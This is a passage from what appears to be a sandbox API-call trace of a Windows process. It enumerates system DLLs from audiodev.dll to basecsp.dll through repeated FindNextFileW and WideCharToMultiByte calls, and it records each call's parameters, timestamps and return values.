nFileSizeLow=0x3b800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x30c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x30c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x30c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.982] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0035.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x30c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x30c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x30c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x30c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.983] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, 